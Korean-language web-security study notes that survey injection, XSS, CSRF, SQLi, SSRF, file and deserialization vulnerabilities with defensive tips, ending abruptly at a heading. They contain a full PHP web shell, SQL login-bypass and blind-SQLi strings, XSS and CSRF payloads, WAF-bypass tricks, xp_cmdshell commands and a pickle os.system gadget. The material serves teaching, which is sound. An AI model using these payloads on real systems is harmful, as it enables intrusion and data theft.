공격 방법 분류
Server side 공격 방법
- Injection (인젝션)
- 서버의 처리 과정 중 사용자가 입력한 데이터가 시스템의 다른 기능을 주거나 문법적으로 사용되어 발생하는 취약점
- injection 공격의 종류
- SQL Injection
- Command Injection
- SSTI (Server Side Template Injection)
- Path Traversal
- SSRF (Server Side Request Forgery)
- ORM과 같이 검증된 SQL 라이브러리를 사용하여 방어가 필요하다.
- File vulnerability
- 서버의 파일 시스템에 사용자가 원하는 행위를 할 수 있을 때 발생하는 취약점
- system(PHP), child_process(Node JS), os.system(Python) 등 OS command를 실행하는 함수를 호출하지 않는 방법이 가장 좋으나, 입력 필터링이나 대체 라이브러리를 사용하는 방법으로 위협을 줄일 수 있다.
- Business Logic Vulnerability (비즈니스 로직 취약점)
- 인젝션, 파일 관련 취약점들과는 다르게 정상적인 흐름을 악용하는 것
- Language specific Vulnerability (PHP, Python, NodeJS)
- 웹 어플리케이션에서 사용하는 언어의 특성으로 인해 발생하는 취약점
- Misconfiguration
- 잘못된 설정으로 인해 발생하는 취약점
- Debug mode를 설정한 채로 배포하는 경우
- 임시/백업 파일을 삭제하지 않은 경우
- 백업파일 종류
- bak : 백업 파일, 대부분의 에디터에서 사용함
- config : 설정 파일, 비밀 키들이 존재하는 경우가 많음
- sql : sql schema 파일, 데이터 베이스 구조를 알아낼 수 있음
- sh : shell script 파일
- ~ : bluefish 에디터 백업 파일
- 서비스와는 무관한 파일들을 제거해서 위협을 없앨 수 있음
- 백업파일 종류
- VCS 프로그램으로 인한 임시 파일들을 정리해야 한다.
- .git, .hg 등의 파일이 있다.
- https://github.com/kost/dvcs-ripper 정보를 참조하여 진단이 가능하다.
- 웹 서버의 설정으로 VCS 파일의 경로의 접근을 막는 방법도 가능하다.
location ~ /\.(git|hg) { deny all; }
- 네트워크 바인딩을 0.0.0.0 으로 세팅하는 경우
- 편의를 위해 세팅한 설정을 운영 환경이 변경되었음에도 그대로 유지하여 발생할 수 있는 취약점이다.
- 내부 망에서만 접근할 수 있는 서비스는 mask를 제대로 설정 해 주고, 허용할 포트를 제외한 설정은 모두 삭제하도록 하여 위협을 제거한다.
- 잘못된 설정으로 인해 발생하는 취약점
취약점
XSS (Cross Site Scripting)
- 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행하는 공격이다.
- XSS 취약점이 존재하는 사이트에 공격자는 origin 권한으로 악성 스크립트가 포함된 페이지를 만들어서 이용자가 악성 스크립트가 포함된 페이지를 방문하면 공격자의 악성 스크립트가 동작해 정보를 탈취하는 방식이다.
공격 경로
- XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다.
- 악성 태그를 필터링하는 HTML Sanitization을 사용하거나 엔티티 코드로 치환하는 방법으로 XSS를 예방할 수 있다.
- Flask는
render_template
함수를 사용하여 인자를 HTML 엔티티코드로 변환하여 출력하는 방식으로 XSS를 방지한다.
- 아래와 같이 입력값을 그대로 출력하게 되면, 입력값으로 script 를 전달해 공격에 사용할 수 있다.
- 서버의 코드
@app.route("/vulnerable") def vulnerable(): param = request.args.get("param", "") # 이용자가 입력한 인자를 가져옴 return param # 이용자의 입력값을 화면 상에 표시
- 공격자 입력1. 다른 페이지로 redirection
<script>location.href = "/another_page?param=PARAM1";</script>
- 공격자 입력2. cookie 정보 출력
<script>document.cookie</script>
- 서버의 코드
XSS 공격 종류
- XSS 는 악성 스크립트의 위치와 침투 경로에 따라 아래와 같이 구분된다.
- Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
- 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있음
- 불특정 다수에게 보여지기 때문에 파급력이 크다.
- Reflected XSS : XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
- 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있음
- 검색 결과를 응답에 포함하는 일부 서비스에서 발생 가능
- 공격을 위해서는 다른 이용자를 악성 스크립트가 포함된 링크에 접속하도록 유도해야 함
- DOM-based XSS : XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
- Universal XSS : 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS
- Stored XSS : XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
CSRF (Cross Site Request Forgery)
- 어떤 사이트에서 이용자의 신원 정보가 포함된 쿠키를 사용한다면, 타인의 쿠키를 탈취하여 변조된 명령을 서버로 번달하는 공격 방식이다.
- 이용자의 신원 정보가 포함된 쿠키는 일종의 서명과 같은 역할을 하기 때문에, 쿠키가 특정 명령에 대한 이용자의 본인 인증 역할을 수행할 수도 있다.
- 2차 인증을 수행하지 않고 cookie로만 인증을 하는 사이트에 대해 공격이 가능하다.
XSS
는 인증 정보인 세션 및 쿠키 탈취를 목적으로 서버에서 스크립트를 실행 하는 방식인 반면,CSRF
는 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격이다.
공격 경로
<img>
태그나<form>
태그를 활용해서 사용자가 의도하지 않은 명령을 서버에 요청하는 script를 실행시킬 수 있다./* img 태그 활용 요청 전달 */ <img src='http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337' width=0px height=0px>`
/* javascript 공격 예시 */ /* 새 창 띄우기 */ window.open('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'); /* 현재 창 주소 옮기기 */ location.href = 'http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337'; location.replace('http://bank.dreamhack.io/sendmoney?to=Dreamhack&amount=1337');
SQL Injection
- 조작된 SQL 쿼리를 서버에 주입하여 인증을 우회하거나, 데이터베이스의 정보를 유출하는 공격행위
- Blind SQL Injection : SQL Injection 의 한 종류로, DBMS가 답변 가능한 형태로 질문을 수행하여 스무고개 게임과 같이 정답을 유추해 나가는 공격 기법
NoSQL Injection
- NoSQL은 데이터 타입으로 ‘오브젝트’ 라는 개념을 갖는다. 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있고, 이 부분의 취약점을 활용한 것이 NoSQL Injection 이다.
- NodeJs를 예를 들면 아래와 같이 url에 object를 대입할 수 있다.
// 서버 코드 예시 const express = require('express'); const app = express(); app.get('/', function(req,res) { console.log('data:', req.query.data, ' / type:', typeof req.query.data); res.send('done'); }); const server = app.listen(3000, function(){ console.log('app.listen'); });
// 결과 예시 http://localhost:3000/?data=1234 data: 1234 type: string http://localhost:3000/?data[]=1234 data: [ '1234' ] type: object http://localhost:3000/?data[]=1234&data[]=5678 data: [ '1234', '5678' ] type: object http://localhost:3000/?data[5678]=1234 data: { '5678': '1234' } type: object http://localhost:3000/?data[5678]=1234&data=0000 data: { '5678': '1234', '0000': true } type: object http://localhost:3000/?data[5678]=1234&data[]=0000 data: { '0': '0000', '5678': '1234' } type: object http://localhost:3000/?data[5678]=1234&data[1111]=0000 data: { '1111': '0000', '5678': '1234' } type: object
- 이 방법으로 아래와 같이 ‘data’ 객체 안에 NoSQL 쿼리가 들어가도록 url을 설정할 수도 있다.
http://localhost:3000/?data[$eq]=A data: { "$eq": "A" } type: object
- 이 방법으로 아래와 같이 ‘data’ 객체 안에 NoSQL 쿼리가 들어가도록 url을 설정할 수도 있다.
Command Injection
- 공격자가 클라이언트 인터페이스를 통해 서버측에 시스템 명령어를 전달하여 실행시켜 공격을 수행하는 기법
- PHP의
system
, Node JS의child_process
, 파이썬의os.system
과 같이 시스템 명령어를 수행하는 함수에 이용자가 임의의 인자를 전달할 수 있을 때 발생할 수 있다. - 명령어 입력란에 다른 명령어를 입력하는 기법에는 다음의
메타문자
들을 활용할 수 있다.- 명령어 치환
- 리눅스 쉘에서
``
사이에 든 문자는 새로운 명령어 라인으로 인식한다.- ex) echo `ls`
- ls 명령어가 실행된다.
- ex) echo `ls`
- 리눅스 쉘에서
$()
사이에 든 문자는 새로운 명령어 라인으로 인식한다.- ex) echo $(ls)
- ls 명령어가 실행된다.
- ex) echo $(ls)
- 리눅스 쉘에서
- 명령어 연속 실행
- 리눅스 쉘에서
||
를 사용하면, || 앞과 || 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.- 한 줄에 둘 이상의 명령어를 실행시킬 수 있다.
- ex) mkdir FILE || cd FILE
- FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
- 리눅스 쉘에서
&&
를 사용하면, && 앞과 && 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.- ex) mkdir FILE && cd FILE
- FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
- ex) mkdir FILE && cd FILE
- 리눅스 쉘에서
;
를 사용하면, ; 앞과 ; 뒤를 다른 명령어 라인으로 인식하고 각각 실행한다.- ex) mkdir FILE ; cd FILE
- FILE 디렉터리를 만들고 FILE 디렉터리 안으로 이동하는 명령을 한줄로 수행할 수 있다.
- ex) mkdir FILE ; cd FILE
- 파이프
- 리눅스 쉘에서
|
를 사용하면 | 앞의 명령어 실행 결과를 | 뒤의 명령어 실행시 입력으로 설정할 수 있다.- ex) cat FILE | less
- FILE 내용을 출력한 것을 less 명령으로 나눠서 볼 수 있도록 한다.
- ex) cat FILE | less
- 리눅스 쉘에서
- 뒷내용 무시
- 리눅스 쉘에서
#
을 사용하면 # 뒤의 내용은 주석처리되어 무시된다.- ex) ls #a"sdfa"sd’fas"’“df
- 구문 오류 없이 ls 명령이 잘 실행된다.
- ex) ls #a"sdfa"sd’fas"’“df
- 리눅스 쉘에서
- 명령어 치환
- 문자열을 whitelist 처리하거나 blacklist 처리하여 공격을 방어할 수 있다.
- 정규식을 통해 IP 주소 포멧을 whitelist 로 지정하는 코드
import re, os, ... ... chk_ip = re.compile('^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$') if bool(chk_ip.match(ip)): return run_system(f'ping -c 3 {ip}') else: return 'ip format error'
- 허용되면 안되는 문자열을 blacklist 로 지정하는 코드
if '\'' in ip: return 'not allowed character' return run_system(f'ping -c 3 \'{ip}\'') # shell command 상에서 모든 입력을 문자열로 처리하는 Single Quotes (')를 사용해야 함
- 정규식을 통해 IP 주소 포멧을 whitelist 로 지정하는 코드
- system(PHP), child_process(Node JS), os.system(Python) 등 OS command를 실행하는 함수 외 대체 라이브러리를 사용하는 방법으로 위협을 줄일 수 있다.
File Vulnerability
- 공격자의 파일을 웹 서비스의 파일 시스템에 업로드 혹은 하는 과정에서 발생하는 보안 취약점
- 파일 업로드/다운로드 서비스를 개발시 이용자가 업로드한 파일을 데이터베이스에 저장하는 것보다는 서버의 파일 시스템에 저장하는 것이 개발하기 쉽고, 관리 효율도 높지만 File Vulnerability를 주의해야 한다.
- 원격 코드 실행, 민감정보 탈취 등이 수행될 수 있다.
File Upload Vulnerability
- 파일 업로드가 가능한 path 에 제약을 우회하여 임의 디렉터리에 파일을 업로드 할 수 있는 취약점이다.
- File Upload Vulnerability 중 하나로, 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생한다.
..
과 같은 메타 문자를 활용하여 지정된 디렉터리 외의 디렉터리를 참조하는 방식을 취할 수 있다.- 악의적인 파일로 html 파일을 수정한다면 Cross-Site-Scripting 공격으로 이어질 수 있다.
- .php, .jsp, .asp와 같은 파일을 업로드 하면 CGI 를 통해 서버에서 코드를 실행시킬 수도 있다.
- ex) php web shell example
<html><body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form><pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>
- php를 실행시키는 설정파일 예시
<FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php </FilesMatch>
File Download Vulnerability
- 파일 이름을 직접 입력 받아 임의 디렉터리에 있는 파일을 다운로드 받을 수 있는 취약점이다.
- 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생한다.
- File Vulnerability 를 방지하려면
- 정규식을 통해 확장자, 메타문자를 필터링 하는 로직을 사용해 방어가 필요하다.
- 업로드 디렉터리를 웹 서버에서 직접 접근할 수 없도록 한다.
- 업로드 디렉터리에서는 CGI가 실행되지 않도록 한다.
- 다운로드 파일의 이름 대신 파일의 고유 ID를 사용하여 접근하도록 시스템을 구성한다.
SSRF (Server-side Request Forgery)
- http, gRPC 등 웹 서비스로 전달되는 요청에 이용자의 입력값이 반영되는 경우, 입력값을 변조하여 의도하지 않은 동작을 유발하는 취약점이다.
- 외부 접속을 허용하면 안되는 백오피스 서비스(관리자 페이지)는 보통 내부망 서비스에서 구동된다. 하지만 웹 서비스가 이상 접근을 탐지하고 즉각 대응하기 위해서는 백오피스 서비스에 명령을 요청할 수 있다. 이 경우, SSRF 공격이 가능하다면 공격자는 외부망에서 내부 서버의 관리자 페이지 기능을 접근할 수 있게 된다.
- 웹 서비스에서 사용하는 마이크로 서비스의 url 주소가 노출된다면 SSRF 공격에 취약해지므로 주의해야 한다.
- SSRF 공격은 url 변조, form 입력값 변조, request body 변조 등 다양한 입력값에 메타문자들을 섞어 발동이 가능함에 주의한다.
- 입력값 필터링과 도메인 IP 검증을 통해 방지가 가능하므로 필수족으로 수행하도록 한다.
path traversal
- 입력으로 받은 데이터에서 경로값을 변조하여 의도하지 않은 기능을 동작하게 하는 공격 기법이다.
- ex) 아래 코드는 user_idx 파라미터를 받아서 SERVER_ADDRESS/user/usr API를 호출하는 형태이다.
@app.route("/v1/api/user/information") def user_info(): user_idx = request.args.get("user_idx", "") response = requests.get(f"{INTERNAL_API}/user/{user_idx}")
- 이때, user_idx=../admin 으로 변경한다면, 해당 API는 SERVER_ADDRESS/admin API를 호출하게 된다.
- ex) 아래 코드는 usr_name 을 파라미터로 받아서 SERVER_ADDRESS/user/search API를 호출한다.
@app.route("/v1/api/user/search") def user_search(): user_name = request.args.get("user_name", "") user_type = "public" response = requests.get(f"{INTERNAL_API}/user/search?user_name={user_name}&user_type={user_type}")
- 이때, usesr_name = admin&user_type=admin# 을 대입하면 SERVER_ADDRESS/search?user_name=admin&user_type=admin 구문이 동작된다.
- url에서
#
이후의 쿼리는 모두 주석처리 되어 버린다.
- url에서
- 이때, usesr_name = admin&user_type=admin# 을 대입하면 SERVER_ADDRESS/search?user_name=admin&user_type=admin 구문이 동작된다.
SSTI (Server Side Template Injection)
- python과 같은 코드에서 페이지를 구성하기 위해 html 을 string 형태로 미리 정의한 Template에 동적인 값을 넣어 출력하는 경우가 있다.
- 이때 사용자의 입력 데이터가 Template에 직접 사용될 경우 Template Engine이 실행하는 문법을 사용할 수 있기 때문에 SSTI 취약점이 발생한다.
- template engine
- python : Jinja2, Mako, Tornado
- php : Smarty, Twig
- javascript : Pug, Marko, EJS
- 취약한 코드의 예시
'''<html> <body> <h3 id="title">{{title}}</h3> <h3 id="content">%s</h3> </body> </html>''' % content
Business Logic Vulnerability
- 정상적인 흐름에서 검증 과정이 없거나 미흡한 부분에 의해 의도하지 않은 기능이 동작하는 취약점
- IDOR (Insecure Direct Object Reference) : 변조된 파라미터 값이 다른 사용자의 오브젝트 값을 참조하여 발생
- 객체 참조 시 사용자의 권한을 필히 검증하여야 한다.
- 로그인 등의 기능을 통해 사용자 인증을 거친 후 사용하는 서비스에서는 사용자 식별을 위한 정보를 사용자의 입력 데이터로 구분하기 보다는 사용자가 요청 시 전달하는 세션을 통해 서버 내에서 처리하는 것이 안전하다.
- 객체 참조 키를 단순한 숫자가 아닌 무작위 문자 생성 등을 통해 악의적인 공격자가 객체에 참조하기 위한 객체 참조 키를 추측하기 어렵게 만들 수도 있다.
- Race Condition : 로직의 순서가 잘못되거나, 한 오브젝트에 여러 요청이 동시에 처리되는 상황에서 발생
Language specific Vulnerability
개발 언어에서 제공하는 함수 혹은 문법에서 발생하는 취약점
취약점 발생 함수 종류
- 코드 실행 함수 (eval)
- OS command function
- Filesystem function
- serialize / deserialize
PHP 취약점 발생 함수
include
- 인자로 전달된 파일을 읽은 후 해당 파일의 내용을 출력한다. 파일의 내용 중 PHP 코드로 해석되는 구문이 존재하면 해당 코드를 실행한다.
- 동적으로 다른 PHP 페이지를 로드해야할 때 주로 사용 하며, include_once, require, require_once 등의 함수와 유사하다.
- 파일의 확장자 또는 파일의 타입과는 상관없이 파일의 내용에 php 태그가 포함될 경우 php 코드가 실행되기 때문에 사용 시 주의가 필요하다.
- include할 파일을 사용자의 입력 데이터에 의해 조작될 수 있다면 서버 내의 파일 정보를 출력하거나, 다른 PHP 코드를 실행시킬 수 있게 된다.
- 서버 로컬 파일을 Include 하는 취약점을
Local File Inclusion(LFI)
, 외부 자원을 Include 하는 취약점을Remote File Inclusion(RFI)
라 한다.
Wrappers
- include(), fopen(), copy(), file_exists(), filesize() 와 같은 파일 시스템 함수에서 URL style 프로토콜을 위한 함수들이 존재한다.
- include 함수는
allow_url_include
옵션으로 url 참조 기능을 세팅할 수 있다.
- include 함수는
- file sytem, web URL, RFC 2397 형태의 데이터 등을
- php 의 url 기능을 활용할 수도 있다.
php://stdin
,php://stdout
,php://stderr
: stdin, stdout, stderr로 연결php://fd/<fd number>
: file descriptor에 연결php://memory
,php://temp
: 메모리에 연결<?php // Set the limit to 5 MB. $fiveMBs = 5 * 1024 * 1024; $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+'); fputs($fp, "hello\n");
php://input
: HTTP의 body 즉, POST 데이터를 입력<?php // HTTP Body Data $rawData = file_get_contents("php://input");
php://filter
: I/O 스트림에 특정 필터를 설정<?php // 데이터 리드 시 대문자로 처리. include 'php://filter/read=string.toupper/resource=/etc/passwd'; /* ROOT:X:0:0:ROOT:/ROOT:/USR/BIN/ZSH DAEMON:X:1:1:DAEMON:/USR/SBIN:/USR/SBIN/NOLOGIN ... */ // 데이터 출력 시 대문자로 처리. file_put_contents("php://filter/write=string.toupper/resource=example.txt","Hello World"); /* $ cat example.txt HELLO WORLD */ ?>
- read=<filter> : 읽기 동작에 사용할 필터
- write=<filter> : 쓰기 동작에 사용할 필터
- resource=<stream name> : 필터링을 설정할 stream 정보
include 'php://filter/read=convert.base64-encode/resource=test.php';
: test.php 파일을 읽어서 base64로 인코딩하여 출력하는 구문
- include(), fopen(), copy(), file_exists(), filesize() 와 같은 파일 시스템 함수에서 URL style 프로토콜을 위한 함수들이 존재한다.
extract : 배열에서 변수를 추출
- extract 함수에 사용자의 입력($_GET, $_POST, $_FILES)과 같은 신뢰할 수 없는 데이터가 사용되면 다른 변수를 변조하여 공격에 사용될 수 있다.
$systemCMD = "ping 127.0.0.1"; ... extract($_GET); ... system($systemCMD); // 사용자 입력으로 systemCMD=id 을 세팅한다면 ping 명령 대신 id 명령이 수행된다.
- extract 함수에 사용자의 입력($_GET, $_POST, $_FILES)과 같은 신뢰할 수 없는 데이터가 사용되면 다른 변수를 변조하여 공격에 사용될 수 있다.
Type Juggling : 서로 다른 타입인 변수를 비교 또는 연산 시 자동으로 형변환이 발생하고, 의도치 않은 결과가 발생할 수 있는 위험이 있다.
$a = "a"; // String $b = "2"; // String echo $a * 2; // 0 echo $b * 2; // 4
Comparison
$a == $b
: $a와 $b의 값이 같으면 True$a === $b
: $a와 $b의 타입과 값이 모두 같으면 True$a != $b
: $a와 $b의 값이 다르면 True.$a <> $b
: $a와 $b의 값이 다르면 True.$a !== $b
: $a와 $b의 타입 또는 값이 다르면 True.
session
- php 에서 session 은
$_SESSION
객체에PHSESSID
라는 값을 key로 저장되고,session_start
로 시작된 PHP 페이지가 종료될 때 자동으로 세션 변수를 serialize 하여 파일 시스템의{세션기본경로}/sess_{PHPSESSID값}{세션기본경로}/sess_{PHPSESSID값}
경로에 저장한다. - 리눅스라면 보통
/var/lib/php/sessions
경로에 세션 정보가 저장된다.
- php 에서 session 은
Upload Logic
- php에서 파일을 업로드 하면 /tmp 경로에
php[a-zA-Z0-9]{6}
형태의 이름을 가진 임시 파일을 생성하고 이를 의도한 위치로 옮기게 된다. 이때 Unhandled exception 이 발생하면 임시 파일은 삭제되지 않고 그대로 유지된다. - 이러한 방법으로 /tmp 경로에 공격을 위한 파일을 업로드 할 수 있다.
- php에서 파일을 업로드 하면 /tmp 경로에
system
passthru
shell_exec
backtick operator (e.g.
ls
)popen
proc_open
exec
serialize : serialize / deserialize
- __destruct(객체 소멸시 호출), __wakeup(역직렬화시 호출) 등
Magic Methods
를 이용하여 공격 수행
- __destruct(객체 소멸시 호출), __wakeup(역직렬화시 호출) 등
Javascript 취약점 발생 함수
- Comparison Problem
- javascript 의 object는 기본적으로
valueOf
와toString
함수가 있는데, object와 다른 primitive 자료형을 비교할 때valueOf
와toString
모두 null 이 아니라면valueOf
가toString
보다 우선순위가 높다.
- javascript 의 object는 기본적으로
- Prototype Pollution
- javascript 는 객체 생성시 prototype 을 명시적으로 상속할 수 있으며, prototype을 정의하지 않는다면
Object.prototype
객체를 상속받는다. - 모든 객체는
__proto__
포인터로 자신이 상속받는 prototype에 접근할 수 있다. - 객체의 필드에 대한 참조가 발생했을 때, 해당 객체에 필드가 없다면,
__proto__
포인터에서 해당 필드를 확인하게 된다.- ex) x = {a:0, b:1}, y = Object.create(x); // y.a = 0, y.b = 1
- 참조 :
.
을 이용한 참조는dot notation
,[]
을 이용한 참조는bracket notation
이라 하며, dot notation 에서 사용할 수 없는 문자열(=, ‘, “) 을 사용해야 하는 경우 bracket notation 을 사용할 수 있다.
- javascript 는 객체 생성시 prototype 을 명시적으로 상속할 수 있으며, prototype을 정의하지 않는다면
- child_process.exec
- spawn
- node-serialize : serialize / deserialize
- 직렬화된 object의 결과에서 내부에 포함된 함수가 역직렬화 과정에서 실행되게 ()를 붙여 실행하면 역직렬화 과정에서 함수가 실행되어 결과가 반영된다.
- ex)
serialize_func_1 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }"} console.log(serialize.unserialize(serialize_func_1)); /* { test: [Function (anonymous)] } */ serialize.unserialize(serialize_func_1)['test']() /* 'Hello' */ serialize_func_2 = {"test":"_$$ND_FUNC$$_function(){ return 'Hello'; }()"} console.log(serialize.unserialize(serialize_func_2)); /* { test: 'Hello' } */
- Comparison Problem
python 취약점 발생 함수
- eval
- exec
- os.system
- popen
- subprocess.call
- run
- pickle : serialize / deserialize
- yaml : serialize / deserialize
- Python Object의
__reduce__
메소드를 공격에 사용한다.
- Python Object의
bypass WAF
WAF(Web Application Firewall)
이란 웹 어플리케이션에 특화된 방화벽으로 각종 공격을 탐지하고 접속을 차단할 수 있다.- 하지만 WAF는 키워드 기반으로 동작하기 때문에 완벽하지 않다. 키워드 기반 차단 방법의 허점을 노린 공격 방법을 bypass WAF 라 한다.
대소문자 검사 미흡
- ex)
SeleCt SlEEp(5)
- ex)
처리방법 미흡
- ex) select 를 공백으로 치환할 때,
seselectect * from users
->select * from users
- ex) select 를 공백으로 치환할 때,
문자열 조작함수 감지 미흡
- reverse, concat 등 문자열 조작 함수를 사용한 경우를 고려하지 않은 경우
- ex)
reverse('nimda')
,concat('ad', 'min')
- ex)
- reverse, concat 등 문자열 조작 함수를 사용한 경우를 고려하지 않은 경우
연산자 검사 미흡
- 연산자를 활용해 true 를 만들어 내어 조건을 우회할 수 있다.
- ex)
|| 1=1
-> 이전 조건을 무시하고 전체 조건을 참으로 설정
- ex)
- 연산자를 활용해 true 를 만들어 내어 조건을 우회할 수 있다.
공백 대체제 탐지 미흡
- 주석을 공백 대신 사용할 수 있다.
- ex)
SELECT/**/name/**/from/**/users
- ex)
- ` 문자(Backtick)를 활용해서 공백없이 쿼리를 사용할 수 있다.
- ex)
SELECT`name`FROM`user`
- ex)
- 개행을 활용해 공백을 대체할 수 있다.
- ex)
SELECT\nname\nfrom\nuser
- ex)
- 탭을 활용해 공백을 대체할 수 있다.
- ex)
SELECT name from user
- ex)
- 주석을 공백 대신 사용할 수 있다.
ASCII코드를 통한 문자열 우회
- ex)
SELECT 0x616263
구문은SELECT abc
와 같다. - ex)
SELECT char(0x61, 0x62, 0x63)
구문은SELECT abc
와 같다.
- ex)
URL에 쿼리가 들어가는 경우 인코딩을 통한 문자열 우회
%09
: \t%27
: '%2F
: /%5C
: \%2A
: *%20
: (공백)
Security Misconfiguration
- DBMS 시스템 설정을 잘못 세팅한 경우 발생할 수 있는 취약점이다.
- MySQL
- DBMS에서
my.cnf
파일로 세팅값을 설정한다.secure_file_priv
값은 접근 가능한 파일 경로 권한을 설정한다.select @@secure_file_priv
쿼리로 설정 값을 확인할 수 있다.
- DBMS에서
- MSSQL
SELECT name, value, description FROM sys.configurations WHERE name = 'xp_cmdshell'
구문으로 MSSQL의 취약점을 확인 가능하다.- 윈도우 os cmd 실행 :
EXEC xp_cmdshell "net user";
- 리눅스 os cmd 실행 :
EXEC master.dbo.xp_cmdshell 'ls';
- 문자열 비교
- DBMS마다 대소문자를 같게 취급하거나, 문자열 뒤에 공백이 있어도 같은 문자열로 취급하는 경우가 있다.
- SQLI 방어를 위해 로직을 세팅할 때 우회 방향이 없도록 주의해야 한다.
Serialize / Deserialize
- 직렬화는 객체를 저장하기 위해 string으로 표현하는 것이고, 역직렬화는 string을 객체로 변환하는 작업이다.
- Python 에서 직렬화/역직렬화는 다음과 같이 사용할 수 있다.
import pickle class TestClass: ... classA = TestClass() classA_dump = pickle.dumps(classA) # 직렬화 classA_load = pickle.loads(ClassA_dump) # 역직렬화
- 이때, 역직렬화는 class 안에 있는
def __reduce__(self):
함수를 호출하여 동작하는데, 이 함수를 재정의 하면- ex)
class TestClass: def __reduce__(self): return os.system, ("ls", )
- ex)
- Redis는 주기적으로 직렬화를 통해 데이터베이스를 저장하고, 그 설정 방법은 아래와 같다.
CONFIG set dir /var/tmp/redis # 파일 저장 위치 설정 CONFIG set dbfilename redis.php # 저장할 DB와 파일 이름 설정 SAVE # 저장
공격 기법
innerHTML 을 통한 XSS 취약점 공격
- 조건: 사용자의 입력을 출력하는 형태를 지닌 시스템
- 방법:
<script>
태그와 공격용 javascript 를 url 파라미터 혹은 request 에 포함시켜 공격용 javascript 가 실행되게 한다. - 예시)
- 서버의 코드
@app.route("/vulnerable") def vulnerable(): param = request.args.get("param", "") # 이용자가 입력한 인자를 가져옴 return param # 이용자의 입력값을 화면 상에 표시
- 공격자 입력1. 다른 페이지로 redirection
<script>location.href = "/another_page?param=PARAM1";</script>
- 공격자 입력2. cookie 정보 출력
<script>document.cookie</script>
- 서버의 코드
innerHTML 을 통한 XSS 취약점 공격2
- <script> 태그 없이 javascript를 실행시키는 방법
- 조건 : 서버에 기본적인 XSS 방지 기법이 적용되어 <script> 태그를 주입시킬 수 없는 경우 (ex: render_template 를 사용한 경우)
- 방법 :
<image>
태그의onerror
필드에 script를 주입한다. - 참조
- 예시)
- 동작하지 않는 script(XSS공격 실패)
name = "<script>alert('I am John in an annoying alert!')</script>"; el.innerHTML = name; // harmless in this case
- 동작하는 script (XSS공격 성공)
const name = "<img src='x' onerror='alert(1)'>"; el.innerHTML = name; // shows the alert # x라는 경로에 이미지가 없어서 onerror 로 설정된 javascript가 실행된다.
- 동작하지 않는 script(XSS공격 실패)
SQL Injection
- 조건 : client 인터페이스에서 서버에서 동작할 SQL 쿼리 값을 조작할 수 있다.
- 아래 쿼리를 SQL Injection으로 공격하고자 한다면
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
- userid 변수와 userpassword 에 아래와 같은 값이 들어가게 입력을 조작하면 ‘admin’ 계정을 탈취할 수 있다.
/* ID: admin"--, PW: DUMMY userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식 */ SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY" /* ID: admin" or "1 , PW: DUMMY userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식 */ SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY" /* ID: admin, PW: DUMMY" or userid="admin userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식 */ SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin" /* ID: " or 1 LIMIT 1,1-- , PW: DUMMY userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식 */ SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
Blind SQL Injection
- 특정 쿼리를 던지고, 쿼리 결과가 존재하는지 여부를 확인하여 password 를 맞춰 나가는 방식
- 방법
- 시간 지연 유발
- RANDOMBLOB(300000000/2)
- SLEEP(10)
- 화면 결과에서 특정 키워드 검색
- python beautifulSoup 사용
- python request 모듈로 http request 후 결과의 text 구문 비교
- 시간 지연 유발
- 글자 위치 추론
# 첫 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='a'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,1,1)='b'-- ' and upw=''; # True # 두 번째 글자 구하기 SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='d'-- ' and upw=''; # False SELECT * FROM user_table WHERE uid='admin' and substr(upw,2,1)='e'-- ' and upw=''; # True
- python 자동화
